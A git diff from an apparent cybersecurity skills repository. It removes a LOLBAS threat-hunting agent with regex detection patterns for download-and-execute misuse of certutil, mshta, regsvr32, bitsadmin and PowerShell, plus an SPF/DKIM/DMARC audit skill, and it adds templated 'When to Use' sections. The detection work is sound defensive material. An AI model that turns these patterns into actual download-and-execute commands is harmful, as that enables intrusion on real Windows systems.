for record in log.records(): - xml = record.xml() - if "certutil" in xml.lower() and "urlcache" in xml.lower(): - print(f"LOLBAS detected: {xml}") -``` diff --git a/skills/hunting-living-off-the-land-binaries.bak/references/api-reference.md b/skills/hunting-living-off-the-land-binaries.bak/references/api-reference.md deleted file mode 100644 index 7a58aa57..00000000 --- a/skills/hunting-living-off-the-land-binaries.bak/references/api-reference.md +++ /dev/null @@ -1,54 +0,0 @@ -# API Reference: Hunting Living Off The Land Binaries - -## LOLBAS Project API - -```python -import requests -resp = requests.get("https://lolbas-project.github.io/api/lolbas.json") -lolbas = resp.json() -# Each entry: {"Name": "Certutil.exe", "Commands": [...], "Paths": [...]} -for entry in lolbas: - for cmd in entry.get("Commands", []): - print(cmd["Command"], cmd["Category"]) - # Categories: Download, Execute, Compile, Encode, ... -``` - -## python-evtx (Event Log Parsing) - -```python -import Evtx.Evtx as evtx -from xml.etree import ElementTree as ET - -with evtx.Evtx("Security.evtx") as log: - for record in log.records(): - root = ET.fromstring(record.xml()) - # Event ID 4688 = process creation - # Sysmon Event ID 1 = process create -``` - -## Key LOLBAS Detection Patterns - -| Binary | Suspicious Pattern | ATT&CK | -|--------|--------------------|--------| -| certutil.exe | `-urlcache -split -f` | T1105 | -| mshta.exe | `vbscript:Execute` | T1218.005 | -| regsvr32.exe | `/s /n /u /i:http` | T1218.010 | -| rundll32.exe | `javascript:` | T1218.011 | -| wmic.exe | `process call create` | T1047 | -| bitsadmin.exe | `/transfer` | T1197 | -| cmstp.exe | `/s .inf` | T1218.003 | - -## Windows Event IDs - -| ID | Source | Description | -|----|--------|-------------| -| 4688 | Security | Process Creation | -| 1 | Sysmon | Process Create (with command line) | -| 7 | Sysmon | Image Loaded | -| 11 | Sysmon | FileCreate | - -### References - -- LOLBAS Project: https://lolbas-project.github.io/ -- python-evtx: https://github.com/williballenthin/python-evtx -- LOLBAS API: https://lolbas-project.github.io/api/lolbas.json diff --git a/skills/hunting-living-off-the-land-binaries.bak/scripts/agent.py b/skills/hunting-living-off-the-land-binaries.bak/scripts/agent.py deleted file mode 100644 index 82dcb29f..00000000 --- a/skills/hunting-living-off-the-land-binaries.bak/scripts/agent.py +++ /dev/null @@ -1,194 +0,0 @@ -#!/usr/bin/env python3 -"""Agent for hunting Living Off The Land Binary (LOLBAS) abuse.""" - -import os -import json -import re -import argparse -from datetime import datetime -from xml.etree import ElementTree as ET - -import requests -import Evtx.Evtx as evtx - - -LOLBAS_PATTERNS = { - "certutil.exe": [ - r"certutil.*-urlcache.*-split.*-f", - r"certutil.*-encode", - r"certutil.*-decode", - ], - "mshta.exe": [ - r"mshta.*vbscript", - r"mshta.*javascript", - r"mshta.*http[s]?://", - ], - "regsvr32.exe": [ - r"regsvr32.*/s.*/n.*/u.*/i:", - r"regsvr32.*scrobj\.dll", - ], - "rundll32.exe": [ - r"rundll32.*javascript:", - r"rundll32.*vbscript:", - r"rundll32.*shell32\.dll.*ShellExec_RunDLL", - ], - "wmic.exe": [ - r"wmic.*process.*call.*create", - r"wmic.*/node:.*process", - r"wmic.*os.*get.*/format:", - ], - "bitsadmin.exe": [ - r"bitsadmin.*/transfer", - r"bitsadmin.*/create.*addfile", - ], - "cmstp.exe": [ - r"cmstp.*/s.*\.inf", - r"cmstp.*/ni.*\.inf", - ], - "msiexec.exe": [ - r"msiexec.*/q.*http[s]?://", - r"msiexec.*/y.*\.dll", - ], - "powershell.exe": [ - r"powershell.*-enc", - r"powershell.*downloadstring", - r"powershell.*iex.*new-object", - r"powershell.*bypass", - ], - "cmd.exe": [ - r"cmd.*/c.*powershell", - r"cmd.*/c.*certutil", - ], -} - - -def fetch_lolbas_database(): - """Fetch the LOLBAS project database from GitHub.""" - url = "https://lolbas-project.github.io/api/lolbas.json" - resp = requests.get(url, timeout=15) - resp.raise_for_status() - return resp.json() - - -def scan_evtx_for_lolbas(evtx_path, patterns=None): - """Scan Windows Event Log for LOLBAS abuse patterns.""" - if patterns is None: - patterns = LOLBAS_PATTERNS - findings = [] - ns = {"ns": "http://schemas.microsoft.com/win/2004/08/events/event"} - with evtx.Evtx(evtx_path) as log: - for record in log.records(): - try: - xml_str = record.xml() - root = ET.fromstring(xml_str) - event_id_el = root.find(".//ns:EventID", ns) - if event_id_el is None: - continue - event_id = event_id_el.text - if event_id not in ("1", "4688"): - continue - cmd_line = "" - image = "" - for data in root.findall(".//ns:Data", ns): - name = data.get("Name", "") - if name == "CommandLine": - cmd_line = data.text or "" - elif name == "Image" or name == "NewProcessName": - image = data.text or "" - if not cmd_line: - continue - for binary, regex_list in patterns.items(): - if binary.lower() in image.lower() or binary.lower() in cmd_line.lower(): - for regex in regex_list: - if re.search(regex, cmd_line, re.IGNORECASE): - findings.append({ - "event_id": event_id, - "binary": binary, - "command_line": cmd_line, - "image": image, - "pattern": regex, - "timestamp": str(record.timestamp()), - }) - except Exception: - continue - return findings - - -def scan_sysmon_log(evtx_path): - """Scan Sysmon log specifically for process creation with LOLBAS.""" - return scan_evtx_for_lolbas(evtx_path) - - -def generate_sigma_rules(lolbas_db): - """Generate Sigma detection rules from LOLBAS database entries.""" - rules = [] - for entry in lolbas_db[:20]: - name = entry.get("Name", "unknown") - commands = entry.get("Commands", []) - for cmd in commands: - command_str = cmd.get("Command", "") - if not command_str: - continue - rule = { - "title": f"LOLBAS - {name} Abuse", - "logsource": {"category": "process_creation", "product": "windows"}, - "detection": { - "selection": { - "Image|endswith": f"\\{name}", - "CommandLine|contains": command_str.split()[1:2], - }, - "condition": "selection", - }, - "level": "high", - } - rules.append(rule) - return rules - - -def build_lolbas_summary(lolbas_db): - """Build a summary of LOLBAS binaries by category.""" - summary = {} - for entry in lolbas_db: - for cmd in entry.get("Commands", []): - category = cmd.get("Category", "Unknown") - if category not in summary: - summary[category] = [] - summary[category].append(entry["Name"]) - for cat in summary: - summary[cat] = list(set(summary[cat])) - return summary - - -def main(): - parser = argparse.ArgumentParser(description="LOLBAS Hunting Agent") - parser.add_argument("--evtx", help="Path to Windows Event Log (.evtx)") - parser.add_argument("--output", default="lolbas_report.json") - parser.add_argument("--action", choices=[ - "scan_evtx", "fetch_db", "generate_sigma", "full_hunt" - ], default="full_hunt") - args = parser.parse_args() - - report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} - - if args.action in ("fetch_db", "generate_sigma", "full_hunt"): - lolbas_db = fetch_lolbas_database() - report["findings"]["lolbas_summary"] = build_lolbas_summary(lolbas_db) - print(f"[+] LOLBAS database: {len(lolbas_db)} entries") - - if args.action in ("scan_evtx", "full_hunt") and args.evtx: - findings = scan_evtx_for_lolbas(args.evtx) - report["findings"]["evtx_detections"] = findings - print(f"[+] LOLBAS detections in EVTX: {len(findings)}") - - if args.action in ("generate_sigma", "full_hunt"): - rules = generate_sigma_rules(lolbas_db) - report["findings"]["sigma_rules"] = rules - print(f"[+] Sigma rules generated: {len(rules)}") - - with open(args.output, "w") as f: - json.dump(report, f, indent=2, default=str) - print(f"[+] Report saved to {args.output}") - - -if __name__ == "__main__": - main() diff --git a/skills/implementing-api-abuse-detection-with-rate-limiting/SKILL.md b/skills/implementing-api-abuse-detection-with-rate-limiting/SKILL.md index 88b9a9c0..6e866c23 100644 --- a/skills/implementing-api-abuse-detection-with-rate-limiting/SKILL.md +++ b/skills/implementing-api-abuse-detection-with-rate-limiting/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 API rate limiting is a critical security control that restricts the number of requests a client can make within a defined time period. It defends against denial-of-service (DDoS), brute force login attempts, credential stuffing, API scraping, and resource exhaustion attacks. Modern implementations use algorithms like token bucket, sliding window, and fixed window counters, often backed by distributed stores like Redis. Adaptive rate limiting dynamically tightens limits during detected attacks and relaxes during normal operation, achieving a 94% reduction in successful DDoS attempts compared to static IP-based approaches. + +## When to Use + +- When deploying or configuring implementing api abuse detection with rate limiting capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - API gateway (Kong, AWS API Gateway, Apigee) or reverse proxy (NGINX, Envoy) diff --git a/skills/implementing-api-schema-validation-security/SKILL.md b/skills/implementing-api-schema-validation-security/SKILL.md index f8d7e9be..81ad2f8f 100644 --- a/skills/implementing-api-schema-validation-security/SKILL.md +++ b/skills/implementing-api-schema-validation-security/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 API schema validation enforces that all data exchanged through APIs conforms to a predefined structure defined in OpenAPI Specification (OAS) or JSON Schema documents. This prevents injection attacks (SQLi, XSS, XXE), blocks mass assignment by rejecting unknown properties, prevents data leakage by validating response schemas, and ensures type safety across all API interactions. Schema validation operates at both the API gateway level (runtime enforcement) and during development (shift-left security). + +## When to Use + +- When deploying or configuring implementing api schema validation security capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - OpenAPI Specification v3.0 or v3.1 for all API endpoints diff --git a/skills/implementing-api-security-posture-management/SKILL.md b/skills/implementing-api-security-posture-management/SKILL.md index d8023fa8..d30e0d8a 100644 --- a/skills/implementing-api-security-posture-management/SKILL.md +++ b/skills/implementing-api-security-posture-management/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 API Security Posture Management (API-SPM) provides continuous visibility into an organization's API attack surface by automatically discovering, classifying, and risk-scoring all APIs including internal, external, partner, and shadow endpoints. Unlike point-in-time testing tools, API-SPM operates continuously to detect configuration drift, policy violations, missing security controls, sensitive data exposure, and compliance gaps. It aggregates findings from DAST, SAST, SCA, and runtime monitoring tools to provide a unified view of API risk posture across the organization. + +## When to Use + +- When deploying or configuring implementing api security posture management capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - API gateway with traffic logging (Kong, AWS API Gateway, Apigee, Envoy) diff --git a/skills/implementing-api-security-testing-with-42crunch/SKILL.md b/skills/implementing-api-security-testing-with-42crunch/SKILL.md index d6b19fe9..95f2a660 100644 --- a/skills/implementing-api-security-testing-with-42crunch/SKILL.md +++ b/skills/implementing-api-security-testing-with-42crunch/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 42Crunch is an API security platform that combines Shift-Left security testing with Shield-Right runtime protection. It provides API Audit for static security analysis of OpenAPI definitions, API Conformance Scan for dynamic vulnerability detection, and API Protect for real-time threat prevention. The platform integrates into CI/CD pipelines and IDEs to identify OWASP API Security Top 10 vulnerabilities before and after deployment. + +## When to Use + +- When deploying or configuring implementing api security testing with 42crunch capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - 42Crunch platform account (free tier available for evaluation) diff --git a/skills/implementing-api-threat-protection-with-apigee/SKILL.md b/skills/implementing-api-threat-protection-with-apigee/SKILL.md index 72013406..6dd4600a 100644 --- a/skills/implementing-api-threat-protection-with-apigee/SKILL.md +++ b/skills/implementing-api-threat-protection-with-apigee/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Google Apigee is an enterprise API management platform that provides native security policies for threat protection, including JSON and XML content validation, OAuth 2.0 enforcement, SpikeArrest rate limiting, regular expression threat protection, and Advanced API Security for detecting malicious clients and API abuse patterns. Apigee operates as a reverse proxy that intercepts all API traffic, applying security policies before requests reach backend services, effectively shielding APIs against the OWASP API Security Top 10 threats. + +## When to Use + +- When deploying or configuring implementing api threat protection with apigee capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Google Cloud Platform account with Apigee organization provisioned diff --git a/skills/implementing-aqua-security-for-container-scanning/SKILL.md b/skills/implementing-aqua-security-for-container-scanning/SKILL.md index 38d47894..4c37bf5b 100644 --- a/skills/implementing-aqua-security-for-container-scanning/SKILL.md +++ b/skills/implementing-aqua-security-for-container-scanning/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Aqua Security provides Trivy, the world's most popular open-source universal security scanner, designed to find vulnerabilities, misconfigurations, secrets, SBOM data, and license issues in containers, Kubernetes, code repositories, and cloud environments. Trivy covers OS packages (Alpine, Debian, Ubuntu, RHEL, etc.) and language-specific dependencies (npm, pip, Maven, Go modules, Cargo, etc.) with vulnerability databases sourced from NVD, vendor advisories, and GitHub Security Advisories. The enterprise Aqua Platform extends Trivy with centralized policy management, runtime protection, and compliance reporting. + +## When to Use + +- When deploying or configuring implementing aqua security for container scanning capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Docker installed for local image scanning diff --git a/skills/implementing-aws-macie-for-data-classification/SKILL.md b/skills/implementing-aws-macie-for-data-classification/SKILL.md index ecb8d40d..94d52f46 100644 --- a/skills/implementing-aws-macie-for-data-classification/SKILL.md +++ b/skills/implementing-aws-macie-for-data-classification/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Amazon Macie is a fully managed data security and privacy service that uses machine learning and pattern matching to discover and protect sensitive data in Amazon S3. Macie automatically evaluates your S3 bucket inventory on a daily basis and identifies objects containing PII, financial information, credentials, and other sensitive data types. It provides two discovery approaches: automated sensitive data discovery for broad visibility and targeted discovery jobs for deep analysis. + +## When to Use + +- When deploying or configuring implementing aws macie for data classification capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - AWS account with S3 buckets containing data to classify diff --git a/skills/implementing-cisa-zero-trust-maturity-model/SKILL.md b/skills/implementing-cisa-zero-trust-maturity-model/SKILL.md index e445d0ed..0d101326 100644 --- a/skills/implementing-cisa-zero-trust-maturity-model/SKILL.md +++ b/skills/implementing-cisa-zero-trust-maturity-model/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 The CISA Zero Trust Maturity Model (ZTMM) Version 2.0, released in April 2023, provides federal agencies and organizations with a structured roadmap for adopting zero trust architecture. The model defines five core pillars -- Identity, Devices, Networks, Applications & Workloads, and Data -- each progressing through four maturity stages: Traditional, Initial, Advanced, and Optimal. Three cross-cutting capabilities (Visibility and Analytics, Automation and Orchestration, and Governance) span all pillars. This skill covers assessment, gap analysis, and progressive implementation across all pillars and maturity levels. + +## When to Use + +- When deploying or configuring implementing cisa zero trust maturity model capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Familiarity with NIST SP 800-207 Zero Trust Architecture diff --git a/skills/implementing-cloud-vulnerability-posture-management/SKILL.md b/skills/implementing-cloud-vulnerability-posture-management/SKILL.md index fa896962..b50799eb 100644 --- a/skills/implementing-cloud-vulnerability-posture-management/SKILL.md +++ b/skills/implementing-cloud-vulnerability-posture-management/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Cloud Security Posture Management (CSPM) continuously monitors cloud infrastructure for misconfigurations, compliance violations, and security risks. Unlike traditional vulnerability scanning, CSPM focuses on cloud-native risks: IAM over-permissions, exposed storage buckets, unencrypted data, missing network controls, and service misconfigurations. This skill covers multi-cloud CSPM using AWS Security Hub, Azure Defender for Cloud, and open-source tools like Prowler and ScoutSuite. + +## When to Use + +- When deploying or configuring implementing cloud vulnerability posture management capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - AWS CLI configured with SecurityAudit IAM policy diff --git a/skills/implementing-conditional-access-policies-azure-ad/SKILL.md b/skills/implementing-conditional-access-policies-azure-ad/SKILL.md index ee6b9c40..8f595327 100644 --- a/skills/implementing-conditional-access-policies-azure-ad/SKILL.md +++ b/skills/implementing-conditional-access-policies-azure-ad/SKILL.md @@ -13,6 +13,21 @@ license: Apache-2.0 ## Overview Configure Microsoft Entra ID (Azure AD) Conditional Access policies for zero trust access control. Covers signal-based policy design, device compliance requirements, risk-based authentication, named locations, session controls, and integration with NIST SP 1800-35 zero trust architecture. + +## When to Use + +- When deploying or configuring implementing conditional access policies azure ad capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with identity access management concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Implement comprehensive implementing conditional access policies in azure ad capability - Establish automated discovery and monitoring processes diff --git a/skills/implementing-container-image-minimal-base-with-distroless/SKILL.md b/skills/implementing-container-image-minimal-base-with-distroless/SKILL.md index 6f6ec777..253d32dd 100644 --- a/skills/implementing-container-image-minimal-base-with-distroless/SKILL.md +++ b/skills/implementing-container-image-minimal-base-with-distroless/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Google distroless images contain only your application and its runtime dependencies, without package managers, shells, or other programs found in standard Linux distributions. By eliminating unnecessary OS components, distroless images achieve up to 95% reduction in attack surface compared to traditional base images like ubuntu or debian. Major projects including Kubernetes itself, Knative, and Tekton use distroless images in production. As of 2025, Docker also offers Hardened Images (DHI) as an open-source alternative for minimal container bases. + +## When to Use + +- When deploying or configuring implementing container image minimal base with distroless capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Docker 20.10+ or compatible container build tool (Buildah, Kaniko) diff --git a/skills/implementing-devsecops-security-scanning/SKILL.md b/skills/implementing-devsecops-security-scanning/SKILL.md index a3e2a02b..5cc94bd3 100644 --- a/skills/implementing-devsecops-security-scanning/SKILL.md +++ b/skills/implementing-devsecops-security-scanning/SKILL.md @@ -16,3 +16,18 @@ license: Apache-2.0 Automate SAST, SCA, container image, and secret scanning in CI/CD pipelines with fail/pass gates based on severity thresholds. + + +## When to Use + +- When deploying or configuring implementing devsecops security scanning capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with application security concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities diff --git a/skills/implementing-digital-signatures-with-ed25519/SKILL.md b/skills/implementing-digital-signatures-with-ed25519/SKILL.md index 2c321d16..f0a05b0f 100644 --- a/skills/implementing-digital-signatures-with-ed25519/SKILL.md +++ b/skills/implementing-digital-signatures-with-ed25519/SKILL.md @@ -14,6 +14,21 @@ license: Apache-2.0 Ed25519 is a high-performance digital signature algorithm using the Edwards curve Curve25519. It provides 128-bit security with 64-byte signatures and 32-byte keys, offering significant advantages over RSA and ECDSA including deterministic signatures (no random nonce needed), resistance to side-channel attacks, and fast verification. This skill covers implementing Ed25519 for document signing, code signing, and API authentication. + +## When to Use + +- When deploying or configuring implementing digital signatures with ed25519 capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with cryptography concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Generate Ed25519 key pairs for signing diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf.bak/LICENSE b/skills/implementing-email-security-with-dmarc-dkim-spf.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/implementing-email-security-with-dmarc-dkim-spf.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf.bak/SKILL.md b/skills/implementing-email-security-with-dmarc-dkim-spf.bak/SKILL.md deleted file mode 100644 index 27c89a81..00000000 --- a/skills/implementing-email-security-with-dmarc-dkim-spf.bak/SKILL.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -name: implementing-email-security-with-dmarc-dkim-spf -description: >- - Audit and validate email authentication configurations by checking SPF, DKIM, - and DMARC DNS records for a domain. Uses dnspython to query TXT records, - validates SPF syntax and lookup counts, verifies DKIM selector records, - parses DMARC policies, and identifies misconfigurations that enable email - spoofing. Generates remediation recommendations. -domain: cybersecurity -subdomain: security-operations -tags: [implementing, email, security, with] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -## Instructions - -1. Install dependencies: `pip install dnspython checkdmarc` -2. Provide target domain(s) to audit. -3. Run the agent to check email security: - - Query and validate SPF records (syntax, mechanism count, includes, redirect) - - Check DKIM records for common selectors (google, default, selector1, selector2) - - Parse DMARC records (policy, subdomain policy, reporting URIs, alignment) - - Identify misconfigurations enabling spoofing - - Generate remediation recommendations - -```bash -python scripts/agent.py --domain example.com --output email_security_report.json -``` - -## Examples - -### Email Security Audit Result -``` -Domain: example.com -SPF: v=spf1 include:_spf.google.com ~all (WARN: softfail allows spoofing) -DKIM: selector1 OK, selector2 OK -DMARC: v=DMARC1; p=none; rua=mailto:dmarc@example.com (WARN: policy=none, no enforcement) -Risk: HIGH - p=none with ~all allows email spoofing -``` diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf.bak/references/api-reference.md b/skills/implementing-email-security-with-dmarc-dkim-spf.bak/references/api-reference.md deleted file mode 100644 index c308ed73..00000000 --- a/skills/implementing-email-security-with-dmarc-dkim-spf.bak/references/api-reference.md +++ /dev/null @@ -1,75 +0,0 @@ -# API Reference: Email Security (SPF/DKIM/DMARC) - -## dnspython TXT Query -```python -import dns.resolver -answers = dns.resolver.resolve("example.com", "TXT") -for rdata in answers: - txt = b"".join(rdata.strings).decode("utf-8") -``` - -## SPF Record Format -``` -v=spf1 [mechanisms] [qualifier]all -``` -| Mechanism | Example | Description | -|-----------|---------|-------------| -| `include:` | `include:_spf.google.com` | Include other SPF record | -| `ip4:` | `ip4:203.0.113.0/24` | Allow IPv4 range | -| `ip6:` | `ip6:2001:db8::/32` | Allow IPv6 range | -| `a:` | `a:mail.example.com` | Allow A record IP | -| `mx:` | `mx:example.com` | Allow MX record IPs | -| `redirect=` | `redirect=_spf.example.com` | Redirect to another SPF | - -| Qualifier | Meaning | Effect | -|-----------|---------|--------| -| `-all` | Fail | Reject unauthorized senders | -| `~all` | Softfail | Accept but mark | -| `?all` | Neutral | No policy | -| `+all` | Pass | Allow all (insecure) | - -**Limit**: Max 10 DNS lookups (includes, a, mx, ptr, exists, redirect). - -## DKIM Record Query -``` -{selector}._domainkey.{domain} TXT -``` -``` -v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEB... -``` -| Tag | Description | -|-----|-------------| -| `v` | Version (DKIM1) | -| `k` | Key type (rsa, ed25519) | -| `p` | Public key (Base64) | -| `t` | Flags (y=testing, s=strict) | - -Common selectors: `google`, `default`, `selector1`, `selector2`, `k1`, `mail`, `dkim`, `s1`, `s2`, `mandrill`, `smtpapi` - -## DMARC Record Query -``` -_dmarc.{domain} TXT -``` -``` -v=DMARC1; p=reject; rua=mailto:dmarc@example.com; pct=100 -``` -| Tag | Values | Description | -|-----|--------|-------------| -| `p` | none/quarantine/reject | Policy for domain | -| `sp` | none/quarantine/reject | Subdomain policy | -| `pct` | 0-100 | Percentage of messages to apply policy | -| `rua` | mailto:URI | Aggregate report destination | -| `ruf` | mailto:URI | Forensic report destination | -| `adkim` | 